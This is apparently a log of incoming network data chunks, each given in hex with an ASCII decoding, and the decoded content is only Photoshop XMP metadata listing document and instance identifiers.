2022-07-20 04:06:50 UTC	4008	IN	Data Raw: 37 37 2d 38 34 64 62 2d 39 66 38 61 38 63 63 66 32 63 30 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 38 32 66 39 36 65 64 36 2d 36 37 61 62 2d 31 31 65 37 2d 61 36 36 38 2d 62 33 38 63 35 31 62 36 39 37 35 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 38 33 30 62 65 38 36 32 2d 36 66 62 34 2d 31 31 64 64 2d 39 63 31 37 2d 63 37 64 38 39 39 37 66 34 30 38 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 38 33 33 38 62 39 63 34 2d 62 34 64 65 2d 31 31 37 61 2d 39 66 32 37 2d 65 64 35 32 35 37 30 62 36 31 31 65 3c 2f 72 64 66 3a 6c Data Ascii: 77-84db-9f8a8ccf2c09</rdf:li> <rdf:li>adobe:docid:photoshop:82f96ed6-67ab-11e7-a668-b38c51b6975b</rdf:li> <rdf:li>adobe:docid:photoshop:830be862-6fb4-11dd-9c17-c7d8997f408c</rdf:li> <rdf:li>adobe:docid:photoshop:8338b9c4-b4de-117a-9f27-ed52570b611e</rdf:l
2022-07-20 04:06:50 UTC	4025	IN	Data Raw: 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 62 38 62 64 64 31 37 61 2d 61 64 31 62 2d 31 31 65 36 2d 62 62 64 30 2d 64 32 65 33 32 66 36 61 61 66 31 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 62 38 65 38 63 63 38 34 2d 64 39 33 65 2d 31 31 65 37 2d 61 62 32 64 2d 65 66 39 31 34 32 64 64 65 36 38 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 62 39 31 62 30 37 66 38 2d 34 61 66 33 2d 31 31 65 37 2d 61 35 61 39 2d 65 37 64 35 62 33 34 37 34 33 39 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 62 39 32 38 36 65 34 39 2d 62 65 Data Ascii: docid:photoshop:b8bdd17a-ad1b-11e6-bbd0-d2e32f6aaf17</rdf:li> <rdf:li>adobe:docid:photoshop:b8e8cc84-d93e-11e7-ab2d-ef9142dde686</rdf:li> <rdf:li>adobe:docid:photoshop:b91b07f8-4af3-11e7-a5a9-e7d5b3474394</rdf:li> <rdf:li>adobe:docid:photoshop:b9286e49-be
2022-07-20 04:06:50 UTC	4033	IN	Data Raw: 39 39 32 32 33 61 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 64 33 34 38 31 39 39 35 2d 31 62 65 37 2d 31 31 64 61 2d 62 32 34 63 2d 62 65 32 36 64 62 62 34 32 37 64 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 64 34 63 63 65 35 31 64 2d 65 34 62 37 2d 31 31 65 36 2d 39 66 33 34 2d 65 30 63 34 65 32 65 62 37 36 35 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 64 35 37 34 30 31 61 38 2d 31 38 35 39 2d 31 31 37 61 2d 61 36 34 63 2d 65 61 34 66 34 30 32 30 34 39 33 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 Data Ascii: 99223a6</rdf:li> <rdf:li>adobe:docid:photoshop:d3481995-1be7-11da-b24c-be26dbb427d9</rdf:li> <rdf:li>adobe:docid:photoshop:d4cce51d-e4b7-11e6-9f34-e0c4e2eb765d</rdf:li> <rdf:li>adobe:docid:photoshop:d57401a8-1859-117a-a64c-ea4f40204932</rdf:li> <rdf:li>ad
2022-07-20 04:06:50 UTC	4049	IN	Data Raw: 3e 75 75 69 64 3a 30 37 31 36 42 34 31 39 32 33 34 38 44 43 31 31 38 32 46 35 39 44 34 33 36 43 39 45 38 45 43 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 30 37 31 45 43 39 34 36 46 38 31 41 31 31 44 43 38 37 33 31 44 34 39 35 46 37 46 44 45 43 37 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 30 37 36 45 33 34 34 31 31 32 41 36 44 46 31 31 41 44 31 38 38 30 31 39 34 39 42 45 43 42 35 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 30 37 38 35 44 39 36 46 37 38 34 39 44 46 31 31 38 30 43 32 43 46 44 46 45 35 35 42 41 42 30 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 30 37 39 35 34 44 45 36 36 36 41 45 45 30 31 31 41 38 39 33 39 39 35 35 42 44 45 31 39 Data Ascii: >uuid:0716B4192348DC1182F59D436C9E8ECE</rdf:li> <rdf:li>uuid:071EC946F81A11DC8731D495F7FDEC7E</rdf:li> <rdf:li>uuid:076E344112A6DF11AD18801949BECB5D</rdf:li> <rdf:li>uuid:0785D96F7849DF1180C2CFDFE55BAB09</rdf:li> <rdf:li>uuid:07954DE666AEE011A8939955BDE19
2022-07-20 04:06:50 UTC	4079	IN	Data Raw: 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 33 45 42 41 42 44 35 38 32 32 33 31 45 30 31 31 39 37 36 38 44 45 32 46 35 32 31 31 32 46 36 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 33 46 33 41 43 41 44 43 35 42 42 35 44 44 31 31 42 34 44 37 46 35 43 33 45 32 32 33 43 37 45 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 33 46 34 42 38 31 42 45 31 37 35 45 44 44 31 31 42 42 37 34 46 45 35 42 35 30 31 46 42 45 43 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 33 46 35 42 39 30 38 46 43 45 44 41 44 46 31 31 42 45 43 36 41 33 42 46 38 44 36 39 34 34 35 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 33 46 37 38 36 31 36 30 39 43 43 Data Ascii: 3</rdf:li> <rdf:li>uuid:3EBABD582231E0119768DE2F52112F6B</rdf:li> <rdf:li>uuid:3F3ACADC5BB5DD11B4D7F5C3E223C7EA</rdf:li> <rdf:li>uuid:3F4B81BE175EDD11BB74FE5B501FBEC4</rdf:li> <rdf:li>uuid:3F5B908FCEDADF11BEC6A3BF8D694452</rdf:li> <rdf:li>uuid:3F7861609CC
2022-07-20 04:06:50 UTC	4087	IN	Data Raw: 75 69 64 3a 35 37 39 35 33 31 35 31 33 31 30 43 44 46 31 31 38 44 41 43 39 41 32 43 39 44 35 38 44 41 39 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 35 37 41 32 32 36 34 31 32 44 45 41 45 30 31 31 38 43 43 46 38 46 41 35 36 46 46 38 44 36 41 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 35 37 44 42 44 38 34 45 43 31 36 32 45 30 31 31 38 43 31 36 44 31 42 39 37 41 32 35 36 35 37 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 35 38 30 35 35 46 43 42 39 37 41 35 31 31 44 44 41 37 45 32 39 43 30 46 33 36 32 37 30 46 46 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 35 38 32 45 41 44 42 44 42 35 30 39 45 34 31 31 38 33 36 33 44 36 35 31 41 32 33 34 34 38 38 Data Ascii: uid:57953151310CDF118DAC9A2C9D58DA96</rdf:li> <rdf:li>uuid:57A226412DEAE0118CCF8FA56FF8D6A6</rdf:li> <rdf:li>uuid:57DBD84EC162E0118C16D1B97A256573</rdf:li> <rdf:li>uuid:58055FCB97A511DDA7E29C0F36270FFB</rdf:li> <rdf:li>uuid:582EADBDB509E4118363D651A234488
2022-07-20 04:06:50 UTC	4103	IN	Data Raw: 34 33 39 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 38 41 38 44 36 38 46 34 36 43 30 46 31 31 44 43 39 36 36 39 41 30 41 34 43 39 39 33 46 30 46 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 38 41 43 46 36 30 32 43 45 34 39 30 44 44 31 31 41 43 37 38 38 34 33 39 34 33 31 43 31 35 34 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 38 41 44 44 30 39 38 43 41 41 39 45 44 43 31 31 41 30 34 33 39 38 30 35 30 30 37 36 46 43 38 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 38 42 31 34 30 46 30 46 36 39 33 31 31 31 44 44 41 35 46 42 46 34 45 33 37 39 46 41 34 33 44 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 38 42 31 36 43 42 33 44 Data Ascii: 4392</rdf:li> <rdf:li>uuid:8A8D68F46C0F11DC9669A0A4C993F0F6</rdf:li> <rdf:li>uuid:8ACF602CE490DD11AC788439431C1542</rdf:li> <rdf:li>uuid:8ADD098CAA9EDC11A04398050076FC83</rdf:li> <rdf:li>uuid:8B140F0F693111DDA5FBF4E379FA43DB</rdf:li> <rdf:li>uuid:8B16CB3D
2022-07-20 04:06:50 UTC	4119	IN	Data Raw: 72 64 66 3a 6c 69 3e 75 75 69 64 3a 42 44 39 38 34 37 33 35 33 35 34 36 44 45 31 31 38 45 30 35 45 30 30 41 39 32 34 44 38 43 43 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 42 44 41 33 42 31 45 31 38 42 41 32 44 45 31 31 42 45 44 37 43 35 37 44 45 34 38 36 46 45 34 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 42 44 44 35 36 35 38 44 41 39 41 41 31 31 45 31 42 31 45 38 39 45 31 46 30 42 30 38 42 44 37 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 42 45 30 32 46 31 43 42 34 35 32 33 45 31 31 31 42 30 44 46 42 38 36 34 37 30 37 30 35 30 30 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 42 45 36 30 36 36 39 38 43 31 45 44 31 31 44 42 41 31 31 39 41 43 36 Data Ascii: rdf:li>uuid:BD9847353546DE118E05E00A924D8CC5</rdf:li> <rdf:li>uuid:BDA3B1E18BA2DE11BED7C57DE486FE49</rdf:li> <rdf:li>uuid:BDD5658DA9AA11E1B1E89E1F0B08BD72</rdf:li> <rdf:li>uuid:BE02F1CB4523E111B0DFB86470705002</rdf:li> <rdf:li>uuid:BE606698C1ED11DBA119AC6
2022-07-20 04:06:50 UTC	4127	IN	Data Raw: 32 42 45 43 45 32 39 37 34 44 31 39 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 44 45 31 38 36 44 45 41 38 37 36 36 45 30 31 31 42 41 45 45 38 32 33 30 33 31 31 36 46 44 32 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 44 45 36 38 44 38 36 39 35 39 31 42 44 44 31 31 39 39 34 37 45 30 33 43 35 32 42 45 46 31 42 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 44 45 39 38 30 41 32 31 35 41 45 36 44 45 31 31 39 30 41 45 42 41 46 36 33 33 32 46 43 36 43 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 44 45 41 31 39 30 31 30 42 36 42 37 44 45 31 31 38 46 39 32 43 37 39 33 33 36 38 43 42 33 35 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 Data Ascii: 2BECE2974D198</rdf:li> <rdf:li>uuid:DE186DEA8766E011BAEE82303116FD2D</rdf:li> <rdf:li>uuid:DE68D869591BDD119947E03C52BEF1B0</rdf:li> <rdf:li>uuid:DE980A215AE6DE1190AEBAF6332FC6C0</rdf:li> <rdf:li>uuid:DEA19010B6B7DE118F92C793368CB351</rdf:li> <rdf:li>uuid
2022-07-20 04:06:50 UTC	4143	IN	Data Raw: 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 31 38 39 45 34 39 46 39 44 45 33 30 39 30 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 32 42 30 38 39 35 36 43 30 45 44 32 32 37 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 32 42 30 39 35 39 33 46 44 31 30 36 39 30 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 32 42 30 39 36 43 30 45 43 39 44 36 46 43 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e Data Ascii: 4</rdf:li> <rdf:li>xmp.did:01801174072068119189E49F9DE3090B</rdf:li> <rdf:li>xmp.did:018011740720681192B08956C0ED2270</rdf:li> <rdf:li>xmp.did:018011740720681192B09593FD106902</rdf:li> <rdf:li>xmp.did:018011740720681192B096C0EC9D6FC5</rdf:li> <rdf:li>xmp.
2022-07-20 04:06:50 UTC	4159	IN	Data Raw: 37 36 32 34 44 32 31 43 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 34 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 44 42 42 45 39 34 44 43 32 38 32 32 46 44 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 34 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 45 46 31 41 36 45 33 36 41 42 44 46 39 30 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 34 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 46 36 32 39 46 31 42 36 39 31 35 33 38 43 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 34 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 46 36 32 45 45 36 34 43 45 43 33 33 43 45 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 Data Ascii: 7624D21CA</rdf:li> <rdf:li>xmp.did:04801174072068118DBBE94DC2822FDB</rdf:li> <rdf:li>xmp.did:04801174072068118EF1A6E36ABDF900</rdf:li> <rdf:li>xmp.did:04801174072068118F629F1B691538C0</rdf:li> <rdf:li>xmp.did:04801174072068118F62EE64CEC33CEF</rdf:li> <rdf
2022-07-20 04:06:50 UTC	4166	IN	Data Raw: 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 36 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 37 41 35 38 33 37 39 41 31 45 33 42 34 31 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 36 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 39 34 43 42 37 36 46 36 43 34 30 32 44 41 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 36 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 45 43 36 44 39 38 46 43 42 42 33 41 34 39 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 36 38 30 31 31 37 34 30 37 32 30 36 38 31 31 41 37 33 32 45 42 36 31 30 43 38 35 44 37 41 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 36 38 30 Data Ascii: i> <rdf:li>xmp.did:068011740720681197A58379A1E3B414</rdf:li> <rdf:li>xmp.did:0680117407206811994CB76F6C402DAA</rdf:li> <rdf:li>xmp.did:06801174072068119EC6D98FCBB3A492</rdf:li> <rdf:li>xmp.did:0680117407206811A732EB610C85D7A5</rdf:li> <rdf:li>xmp.did:0680
2022-07-20 04:06:50 UTC	4182	IN	Data Raw: 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 65 35 35 66 62 39 34 2d 37 34 64 38 2d 31 63 34 63 2d 61 38 36 39 2d 61 65 39 31 34 36 64 32 35 31 66 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 65 38 33 31 64 36 61 2d 62 34 61 31 2d 34 39 36 36 2d 39 62 37 31 2d 30 66 37 31 33 66 63 38 36 39 39 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 65 38 33 35 35 65 34 2d 66 33 31 37 2d 36 34 34 63 2d 61 39 35 33 2d 36 64 64 65 64 65 64 62 35 38 66 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 65 65 61 37 35 38 34 2d 65 61 65 61 2d 66 31 34 63 2d 39 30 39 31 2d 61 30 38 39 62 39 30 31 33 31 31 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a Data Ascii: > <rdf:li>xmp.did:0e55fb94-74d8-1c4c-a869-ae9146d251f5</rdf:li> <rdf:li>xmp.did:0e831d6a-b4a1-4966-9b71-0f713fc86995</rdf:li> <rdf:li>xmp.did:0e8355e4-f317-644c-a953-6ddededb58f6</rdf:li> <rdf:li>xmp.did:0eea7584-eaea-f14c-9091-a089b901311e</rdf:li> <rdf:
2022-07-20 04:06:50 UTC	4198	IN	Data Raw: 61 2d 34 33 30 35 2d 38 37 30 65 2d 36 38 34 65 34 39 65 37 64 34 35 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 30 37 39 38 30 33 33 2d 36 38 36 39 2d 34 31 63 65 2d 39 30 31 37 2d 39 62 66 63 37 36 39 62 64 37 35 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 30 37 41 43 44 38 43 30 37 32 30 36 38 31 31 38 32 32 41 41 37 41 33 31 39 31 35 30 39 36 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 30 38 45 35 34 38 33 42 36 39 31 45 34 31 31 41 41 34 32 45 43 44 44 33 35 42 44 43 44 36 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 30 39 66 66 35 30 31 2d 39 33 39 30 2d 38 65 34 63 2d 39 35 61 39 2d 37 64 30 Data Ascii: a-4305-870e-684e49e7d45a</rdf:li> <rdf:li>xmp.did:20798033-6869-41ce-9017-9bfc769bd75d</rdf:li> <rdf:li>xmp.did:207ACD8C07206811822AA7A319150968</rdf:li> <rdf:li>xmp.did:208E5483B691E411AA42ECDD35BDCD6B</rdf:li> <rdf:li>xmp.did:209ff501-9390-8e4c-95a9-7d0
2022-07-20 04:06:51 UTC	4333	IN	Data Raw: 43 45 31 46 43 43 37 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 37 41 37 46 41 34 34 37 46 41 43 31 31 45 31 39 35 35 45 42 31 31 39 35 33 39 35 31 32 32 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 37 42 30 43 35 44 41 46 31 32 30 36 38 31 31 42 44 34 43 46 34 46 39 43 30 31 45 39 38 32 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 37 44 45 33 30 41 34 37 44 36 41 31 31 45 30 42 31 42 46 45 43 36 30 38 36 37 33 39 36 42 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 37 46 32 44 42 36 30 32 39 32 30 36 38 31 31 41 36 31 33 46 36 33 37 39 42 39 42 32 30 43 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a Data Ascii: CE1FCC73</rdf:li> <rdf:li>xmp.did:27A7FA447FAC11E1955EB11953951227</rdf:li> <rdf:li>xmp.did:27B0C5DAF1206811BD4CF4F9C01E982A</rdf:li> <rdf:li>xmp.did:27DE30A47D6A11E0B1BFEC60867396BF</rdf:li> <rdf:li>xmp.did:27F2DB6029206811A613F6379B9B20C2</rdf:li> <rdf:
2022-07-20 04:06:51 UTC	4349	IN	Data Raw: 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 35 46 39 42 38 46 35 33 37 32 36 36 38 31 31 38 32 32 41 46 44 38 45 36 43 42 44 39 38 43 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 35 64 66 30 39 62 62 2d 34 64 37 37 2d 34 32 37 30 2d 39 37 35 64 2d 63 39 38 39 37 32 64 36 66 31 38 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 36 30 32 34 38 35 39 31 45 32 30 36 38 31 31 38 46 36 32 42 30 37 31 36 39 32 31 45 41 42 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 36 31 34 32 38 36 35 39 35 32 30 36 38 31 31 39 31 30 39 45 35 35 34 31 35 34 44 33 32 42 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 Data Ascii: li> <rdf:li>xmp.did:35F9B8F537266811822AFD8E6CBD98C8</rdf:li> <rdf:li>xmp.did:35df09bb-4d77-4270-975d-c98972d6f180</rdf:li> <rdf:li>xmp.did:360248591E2068118F62B0716921EAB0</rdf:li> <rdf:li>xmp.did:36142865952068119109E554154D32B1</rdf:li> <rdf:li>xmp.did
2022-07-20 04:06:51 UTC	4365	IN	Data Raw: 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 34 45 32 35 30 31 31 34 30 43 38 45 31 31 31 41 46 38 42 41 32 37 33 30 46 46 45 31 32 38 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 34 45 36 38 38 36 44 30 41 32 30 36 38 31 31 38 32 32 41 42 35 41 45 42 42 44 34 35 33 31 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 34 46 44 33 35 37 35 33 42 32 30 36 38 31 31 38 30 38 33 45 31 38 45 43 35 39 30 32 33 33 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 34 61 38 66 30 65 39 2d 66 36 38 33 2d 66 33 34 64 2d 39 61 39 39 2d 37 62 65 30 32 32 37 62 66 65 31 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e Data Ascii: df:li> <rdf:li>xmp.did:44E2501140C8E111AF8BA2730FFE128C</rdf:li> <rdf:li>xmp.did:44E6886D0A206811822AB5AEBBD45312</rdf:li> <rdf:li>xmp.did:44FD35753B2068118083E18EC590233A</rdf:li> <rdf:li>xmp.did:44a8f0e9-f683-f34d-9a99-7be0227bfe18</rdf:li> <rdf:li>xmp.
2022-07-20 04:06:51 UTC	4373	IN	Data Raw: 46 33 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 44 38 39 31 44 42 34 36 39 32 31 36 38 31 31 41 36 31 33 38 45 46 32 43 31 36 38 37 36 46 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 44 39 46 30 39 42 30 36 39 32 30 36 38 31 31 41 39 45 46 43 33 35 37 44 46 31 45 34 34 44 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 44 41 32 35 33 36 31 37 30 32 35 36 38 31 31 39 33 37 35 45 30 39 31 36 39 37 38 33 43 35 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 44 42 30 44 34 33 37 30 39 44 43 44 46 31 31 38 35 42 37 46 36 38 44 42 43 32 46 38 43 46 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d Data Ascii: F3B</rdf:li> <rdf:li>xmp.did:4D891DB469216811A6138EF2C16876FC</rdf:li> <rdf:li>xmp.did:4D9F09B069206811A9EFC357DF1E44DE</rdf:li> <rdf:li>xmp.did:4DA25361702568119375E09169783C56</rdf:li> <rdf:li>xmp.did:4DB0D43709DCDF1185B7F68DBC2F8CF4</rdf:li> <rdf:li>xm
2022-07-20 04:06:51 UTC	4389	IN	Data Raw: 38 31 31 39 37 41 35 39 44 42 37 33 36 46 35 33 35 46 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 44 34 33 32 36 30 44 31 39 32 30 36 38 31 31 38 44 42 42 42 33 34 38 37 44 46 34 37 33 35 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 44 35 45 46 43 34 34 46 36 32 30 36 38 31 31 38 30 38 33 41 33 39 39 39 45 39 46 34 39 33 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 44 37 31 44 43 36 30 31 34 32 30 36 38 31 31 38 37 31 46 45 44 30 33 43 31 42 30 36 30 46 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 44 37 36 31 32 44 44 43 38 31 45 45 32 31 31 42 43 33 39 44 42 39 41 41 33 39 42 46 37 42 30 3c 2f 72 64 Data Ascii: 81197A59DB736F535FE</rdf:li> <rdf:li>xmp.did:5D43260D192068118DBBB3487DF47355</rdf:li> <rdf:li>xmp.did:5D5EFC44F62068118083A3999E9F4936</rdf:li> <rdf:li>xmp.did:5D71DC6014206811871FED03C1B060F7</rdf:li> <rdf:li>xmp.did:5D7612DDC81EE211BC39DB9AA39BF7B0</rd
